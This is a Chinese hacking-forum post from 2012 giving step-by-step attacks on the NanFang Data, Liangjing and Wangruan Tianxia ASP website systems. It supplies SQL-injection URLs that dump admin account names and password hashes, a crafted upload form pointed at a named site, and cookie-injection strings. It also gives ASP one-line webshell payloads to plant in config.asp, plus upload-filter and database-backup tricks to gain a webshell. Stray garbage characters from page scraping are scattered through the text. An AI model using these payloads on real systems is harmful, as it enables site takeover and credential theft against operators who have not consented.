找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2424|回复: 0
打印 上一主题 下一主题

南方数据网站管理系统注入漏洞&后台拿WebShell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:06:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  /Databases/0791idc.mdb
3 d3 O0 w( O4 D& c( _( x  L# H1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7 : H  a# @1 Y. s/ U3 I. \8 `
也可能是(另外一个版本)news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F79 U0 H0 \& ^1 t% W
直接暴管理员帐号密码(md5)
" Q) j- R! x) ?" V  F3 T2.登陆后台( r* i2 x& R8 S' |/ r& I; A$ q
3.利用编辑器上传:
: G' t% }% l+ T1 b+ I5 w+ u+ l- z访问admin/southidceditor/admin_style.asp4 g5 }/ x7 d! R( Q3 j
修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.$ Y8 f& I2 |: g, [
0 e& \9 o7 e. K) z- _3 h( |
========================================1 a1 n* u# |: u; q2 w: s. F
. M& w" R) b; V7 P2 k# M
参考资料整理:
2 m, ~  j% r2 {8 E1 ~; h2 e, F/ s/ i南方数据、良精系统、网软天下漏洞利用
! \2 I8 k0 {; z# V+ T( Y
& |' c' O" u' R/ w( K1、通过upfile_other.asp漏洞文件直接取SHELL  y2 m1 `- `# f- y7 U$ ^6 K
直接打开userreg.asp进行注册会员,进行登录,(在未退出登录的状态下)使用本地上传文件进行上传代码如下:
2 x/ a- N: \1 b5 C<HTML><HEAD>
, A) k6 O5 o" u* K2 z/ ^$ m<META http-equiv=Content-Type content="text/html; charset=gb2312"> 8 V$ J4 x( Y+ I8 i: u9 ?- L) A
<STYLE type=text/css>BODY {
. j5 q9 p+ ]6 x" a5 lFONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee
# c9 l) P" `- [2 }, R1 v} * u$ ~5 n; t0 |9 s; Z4 e
.tx1 {
. H  L$ K& B1 d8 Y3 XBORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px & q1 A& @" a( E- q
}
( b3 u' r# y- ?; j1 E* [</STYLE>1 C2 `. z& W& N% g
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD> ) U8 ^# i$ `; L5 \8 k# {
<BODY leftMargin=0 topMargin=0> ; l, c) i% s+ B% a1 X
<FORM name=form1 action="http://www.huobaodidai.cn/upfile_Other.asp"; method=post 3 ?* E; l9 G6 \' A. z& ?  Y
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT xxxxx="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit> 7 w5 p! l% S3 |' ?' U8 c$ j; W
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>& F7 @3 ^' Z$ P$ X+ w

$ f8 q: d, m- q: s  [) @0 \; C$ J将以上代码保存为html格式,替换代码中的网址,第一个框里选择图片文件,第二个框选择.cer、.asa或asp文件上传(后面需要加一个空格,貌似在IE8中进行使用不能后面加空格,加空格时就弹出选择文件对话框,我是找不到解决办法)。6 m8 O& F& F$ }* Q" v
注:此方法通杀南方数据、良精系统、网软天下等: x2 H% }! l7 z# ]9 w% ^3 E) Q

5 o/ h6 a2 i0 r1 @) R2、通过注入秒杀管理员帐号密码,使用如下:8 g2 I. u% m5 O; S8 a' T& I  C
http://www.huobaodidai.cn/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20’’=’
* O7 a/ C/ m; [$ W以上代码直接暴管理员帐号和密码,取SHELL方法如下:
$ N$ t* e5 d; q# M在网站配置[http://www.target.com/admin/SiteConfig.asp]的版权信息里写入 "%><%eval(request(chr(35)))%><%’  G" q9 e% M" I5 C
成功把shell写入http://www.target.com/inc/config.asp! |' a- I* H- u0 R
这里一句话chr(32)密码是“#”
' ?* j* M4 u) c4 O, F* n' C3 o3、cookie注入2 z8 j" Y1 ]8 q( P
清空地址栏,利用union语句来注入,提交:7 n: D0 L, T* B  [3 B/ @3 r
javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin"))3 ^& g" C5 D8 @  l2 D
如果你牛你就手工,反正我是不会,用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为?* D5 ]) L2 ^5 \4 U7 |, [
注:貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。
, @. |/ `6 {2 N" B2 N  }(当然南方不只有上面三个漏洞,还有几个漏洞貌似不常用,反正我给我常用的总结出来希望对大家有帮助)  R/ r5 x* W$ @+ r

" ~& t8 G  D) _' U* }! U" p三、后台取SHELL方法总结/ v; v# ?# L  N6 m$ Z
(1)在系统管理中的网站配置中插入一句话马:进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入"%><%Eval(Request(chr(112)))%><%’,再点保存配置,如图:9 W5 z8 @2 n, S, u4 ?2 |& n$ _
然后我们打开inc/config.asp文件,看到一句话马已写入到配置文件中了,9 T: L; y' o9 c* E
这时再打开一句话马的客户端,提交同样得到一个小马
# p) C" I+ Q8 c0 D8 _( b" m(注:以下均在其它网站上测试所截的图,为防止信息泄漏,未截留网站连接,请谅解!)
9 {7 Z  s( @- C(2)后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下:
: |# z  U$ W, Bif fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
- i) c& @5 V  u8 z8 E# sEnableUpload=false
, A" a3 {) t7 o6 Q7 X" r
7 h1 ]" S; b, |: ^& `end if   @, F' h; R2 \. x
if EnableUpload=false then
' T2 J* l& [& [; {; _  B# V" ~; C, mmsg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
* g' h7 I/ o2 r5 X: E5 o- `6 V9 b! DFoundErr=true3 _1 t0 o& f2 l8 c7 N3 |- e9 I
end if0 x( H' d3 H2 w/ i
大家可以看到程序只限制了对"asp","asa","aspx"类的文件上传,我们只要在”网站配置”的允许的上传文件类型处增加上传“cer“等被服务器可解析的文件类型就可,如图:: P# }; Y1 Y# G4 p8 G2 M
提交时却显示下载页面 ,上传其它如”htr,cdx”等后缀文件时,提交时服务器却不请求(只能说运气不好吧)
# ?4 ~2 a* M2 [8 A; m" J(3)后台备份,直接在”产品管理”下的添加产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库路径”栏填入上传的路径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动添加上.asa的
$ [" k9 @, D+ ~  E0 k. o  R' I$ r. w" F& z3 a+ H
点”确定”后提示”备份数据库成功….”不过实际文件是没有.asa的* ~7 U- _% ?  R: M  L" ]9 {
直接访问备份后的地址,就得到一个webshell6 |+ l$ H, z+ V( T
(以上虽用网软做的后台演示,但南方和良精后台取shell都是大同小异的)​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表